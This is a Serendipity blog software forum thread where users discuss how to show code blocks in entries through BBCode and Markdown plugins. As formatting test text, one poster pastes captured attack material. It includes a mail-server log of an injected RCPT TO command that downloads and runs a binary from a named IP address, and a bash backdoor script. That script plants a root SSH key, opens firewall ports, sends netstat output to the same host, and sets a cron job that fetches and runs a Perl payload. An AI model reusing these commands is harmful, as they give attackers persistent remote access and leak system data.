[code] block for s9y available?

Random stuff about serendipity. Discussion, Questions, Paraphernalia.
Post Reply
derhasi
Regular
Posts: 37
Joined: Sun Mar 15, 2020 12:21 am
Contact:

[code] block for s9y available?

Post by derhasi »

I need to paste some code in blog entry.
using <code> will not display it correctly.
ideas?
something like

Code: Select all

///////<br>///n/n
(like used in this forum)
THE EMPEROR OF SWORDS
https://www.grospolina.org
thh
Regular
Posts: 419
Joined: Thu Oct 26, 2006 2:38 pm
Location: Stuttgart, Germany
Contact:

Re: [code] block for s9y available?

Post by thh »

derhasi wrote: Mon Apr 06, 2020 5:51 pmI need to paste some code in blog entry.
using <code> will not display it correctly.
What is your definition of "not correctly", i.e. what do you expect and what (else) do you get?

Using "<pre><code>... Code here ...</code></pre>" works for me (s9y 2.3.4, (modified) 2k11 as template).
derhasi
Regular
Posts: 37
Joined: Sun Mar 15, 2020 12:21 am
Contact:

Re: [code] block for s9y available?

Post by derhasi »

i will give it a try
does not work:

Code: Select all

<pre>
<code>

[1585319348.11][45.148.10.84:44220] HELO service.com
[1585319348.12][45.148.10.84:44220] MAIL FROM: <support@service.com>
[1585319348.13][45.148.10.84:44220] RCPT TO: <root+${run{\\\\x2Fbin\\\\x2Fsh\\\\t-c\\\\t\\\\x22wget\\\\x2045.148.10.84\\\\x2fss\\\\x20-Osxs\\\\x3bchmod\\\\x20\\\\x2bx\\\\x20sxs\\\\x3b.\\\\x2fsxs\\\\x22}}@mail.grospolina.org>
[1585319348.15][45.148.10.84:44220] RCPT TO:<root+${run{\\\\x2Fbin\\\\x2Fsh\\\\t-c\\\\t\\\\x22wget\\\\x2045.148.10.84\\\\x2fss\\\\x20-Osxs\\\\x3bchmod\\\\x20\\\\x2bx\\\\x20sxs\\\\x3b.\\\\x2fsxs\\\\x22}}@grospolina.org>
[1585319348.16][45.148.10.84:44220] RCPT TO:<root+${run{\\\\x2Fbin\\\\x2Fsh\\\\t-c\\\\t\\\\x22wget\\\\x2045.148.10.84\\\\x2fss\\\\x20-Osxs\\\\x3bchmod\\\\x20\\\\x2bx\\\\x20sxs\\\\x3b.\\\\x2fsxs\\\\x22}}@localhost>
[1585319348.18][45.148.10.84:44220] DATA
[1585319348.19][45.148.10.84:44220] Received: 1\\r\\nReceived: 2\\r\\nReceived: 3\\r\\nReceived: 4\\r\\nReceived: 5\\r\\nReceived: 6\\r\\nReceived: 7\\r\\nReceived: 8\\r\\nReceived: 9\\r\\nReceived: 10\\r\\nReceived: 11\\r\\nReceived: 12\\r\\nReceived: 13\\r\\nReceived: 14\\r\\nReceived: 15\\r\\nReceived: 16\\r\\nReceived: 17\\r\\nReceived: 18\\r\\nReceived: 19\\r\\nReceived: 20\\r\\nReceived: 21\\r\\nReceived: 22\\r\\nReceived: 23\\r\\nReceived: 24\\r\\nReceived: 25\\r\\nReceived: 26\\r\\nReceived: 27\\r\\nReceived: 28\\r\\nReceived: 29\\r\\nReceived: 30\\r\\nReceived: 31\\r\\n
[1585319348.21][45.148.10.84:44220] QUIT
</code>
</pre>
here is the article:
https://blog.grospolina.org/index.php?/ ... -1014.html
THE EMPEROR OF SWORDS
https://www.grospolina.org
derhasi
Regular
Posts: 37
Joined: Sun Mar 15, 2020 12:21 am
Contact:

Re: [code] block for s9y available?

Post by derhasi »

the problem is '<' and '>' is interpreted
THE EMPEROR OF SWORDS
https://www.grospolina.org
thh
Regular
Posts: 419
Joined: Thu Oct 26, 2006 2:38 pm
Location: Stuttgart, Germany
Contact:

Re: [code] block for s9y available?

Post by thh »

[quote=derhasi post_id=10453088 time=1586212696 user_id=30463]the problem is '<' and '>' is interpreted[/quote]

Yes, of course it is (by default) - s9y will output your entry "as is", and so your browser will interpret all text in angle brackets, '<br />' as well as '<support@service.com>'.

You'll need a markup plugin to change that. If you have *serendipity_event_bbcode* active (it's a core plugin released with s9y), you can just wrap your code in '[code]...[\code]'. That will stop interpretation of all angle brackets between the code markers.

AFAIS Markdown will work, too; in Markdown, you can mark your code as such (with four spaces at the beginning of each line), but that's not even necessary, as only valid HTML tags should be interpreted. (Works in my tests, at least.) You'd have to install and activate *serendipity_event_markdown* for that.

I'm sure there are more ways to get what you want, but it will be most easy if you just use the markup plugin(s) you already have installed.
derhasi
Regular
Posts: 37
Joined: Sun Mar 15, 2020 12:21 am
Contact:

Re: [code] block for s9y available?

Post by derhasi »

thh: i will try, 1000 dank
THE EMPEROR OF SWORDS
https://www.grospolina.org
derhasi
Regular
Posts: 37
Joined: Sun Mar 15, 2020 12:21 am
Contact:

Re: [code] block for s9y available?

Post by derhasi »

thh: i will try, 1000 dank!

works!!!

but #!/bin/bash is interpreted as headline
THE EMPEROR OF SWORDS
https://www.grospolina.org
thh
Regular
Posts: 419
Joined: Thu Oct 26, 2006 2:38 pm
Location: Stuttgart, Germany
Contact:

Re: [code] block for s9y available?

Post by thh »

derhasi wrote: Tue Apr 07, 2020 6:49 pmbut #!/bin/bash is interpreted as headline
Yeah, the right thing to do is to mark code as code; in BBcode with "code"..."\code" tags, in markdown by indenting with four spaces.
aisberg
Regular
Posts: 43
Joined: Tue Apr 28, 2020 9:23 pm
Location: Berlin

Re: [code] block for s9y available?

Post by aisberg »

I think I am not the only user how wants to format text blocks as code. But I can't find an easy way.

The build-in WYSIWYG editor has a "wrap code", but when I use it, line breaks in code will be removed. Is this a bug or is this by design?

The drop down list "style" which is available in the original CKEditor 4, is not available in s9y or doesn't contain "computer code".

To change to "source code" every time to insert some <code>...</code> is the only way I found. But this is not very comfortable.

I also think about using markdown, but this is not compatible to the WYSIWYG Editor and an easy switch is not possible. WYSIWYG needs to be enabled or disabled in the user profile. And when switching to markdown then the whole article needs to be written in markdown.

Are there any other comfortable ideas?
Or are you using external editors and then copy the code into s9y?
But what about using images in this case? the internal editor is much better to include pictures.
yellowled
Regular
Posts: 7111
Joined: Fri Jan 13, 2006 11:46 am
Location: Eutin, Germany
Contact:

Re: [code] block for s9y available?

Post by yellowled »

I think you may want something like the GeSHi or Syntax Highlighter plugin. (I don't use either myself, but I think those can markup code without you having to mask special characters.)

YL
derhasi
Regular
Posts: 37
Joined: Sun Mar 15, 2020 12:21 am
Contact:

Re: [code] block for s9y available?

Post by derhasi »

Tnx for your help, dudes.
I make test here:

Code: Select all

#!/bin/bash
exists=$(grep -c "^jkl:" /etc/passwd)
if [ $exists -eq 0 ]; then
chattr -isa /root/.ssh/authorized_keys
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtI3JzaABDotq1IL3m3KCpwMdGCY+Jr5CGbnznw4QPvVh139jplKrTxm7/3bLdfiLXtkmZfQBiWykH1zi0boA4Tdpw2VJAP9cJL7aru3yX6Zp9Ipo8BdwHHx/KCvLeT9zXosdFCGMyrLZySvhLs3ndqcKOLnQiEAwctaMQxH6hyuRo7Ao5xHTQuYHPVLjNQcZ4as2lFmSEHciPaRda7qgOapWXJdFscwiCyfjxoXOvhRLIb9zVuyvYIc+/X3lufaBrr5G7ElnEfV9/82D9GEOfIXXmLpbSmk5jnu66AXPk4KepTzFx3orvQA7Vk84YsWQDxcyiw78nCvICk1S30YtJ root@' >/root/.ssh/authorized_keys
/usr/sbin/sshd -p 322
/sbin/iptables -I OUTPUT -p tcp --dport 322 -j ACCEPT >/dev/null 2>&1
/sbin/iptables -I INPUT -p tcp --dport 322 -j ACCEPT >/dev/null 2>&1
/sbin/iptables-save >/dev/null 2>&1
/usr/sbin/iptables -I OUTPUT -p tcp --dport 322 -j ACCEPT >/dev/null 2>&1
/usr/sbin/iptables -I INPUT -p tcp --dport 322 -j ACCEPT >/dev/null 2>&1
/usr/sbin/iptables-save >/dev/null 2>&1
data2=`netstat -natp |grep sshd|base64`
wget -q --post-data "DATA=dGlua2QK&DATA2=$data2" 45.148.10.84/.z/p.php -O /dev/null
cd /tmp
echo 'cd /tmp;wget 45.148.10.84/r.png;perl r.png;rm -fr r.png' > twink
echo 'crontab -l|grep -v twink > /tmp/mycron;crontab /tmp/mycron;rm -fr /tmp/twink' >> twink
echo '* * * * * /tmp/twink' >mycron
crontab -l >> mycron
chmod +x /tmp/twink
crontab mycron;rm -fr mycron
else
exit
fi
preview looks ok. but in s9y it's interpreted.
Should i uninstall markup?
hmmm?
THE EMPEROR OF SWORDS
https://www.grospolina.org
derhasi
Regular
Posts: 37
Joined: Sun Mar 15, 2020 12:21 am
Contact:

Re: [code] block for s9y available?

Post by derhasi »

i uninstalled the markup plug, now bbcode is working well.
but this should not happen. one plugin violates the other.
code is code. it shouldn't in NO place beeing interpreted.
tnx
THE EMPEROR OF SWORDS
https://www.grospolina.org
thh
Regular
Posts: 419
Joined: Thu Oct 26, 2006 2:38 pm
Location: Stuttgart, Germany
Contact:

Re: [code] block for s9y available?

Post by thh »

derhasi wrote: Tue May 05, 2020 6:59 pm i uninstalled the markup plug, now bbcode is working well.
but this should not happen. one plugin violates the other.
code is code. it shouldn't in NO place beeing interpreted.
Serendipitys markdown plugins parse the content of your entries (or comments, or ...) in the form in which they get it, and what they get is the output of the previous markup plugin that parsed the text. Plugin order matters here, and not all markup plugins are compatible.

A plugin doesn't know what "code" is, and it can't. It can just parse markup.
derhasi
Regular
Posts: 37
Joined: Sun Mar 15, 2020 12:21 am
Contact:

Re: [code] block for s9y available?

Post by derhasi »

so make the plugin know what code is.
THE EMPEROR OF SWORDS
https://www.grospolina.org
Baxter
Posts: 3
Joined: Fri May 22, 2020 9:57 pm

Re: [code] block for s9y available?

Post by Baxter »

i have same issue and tnx for above discussion i have overcome it
Post Reply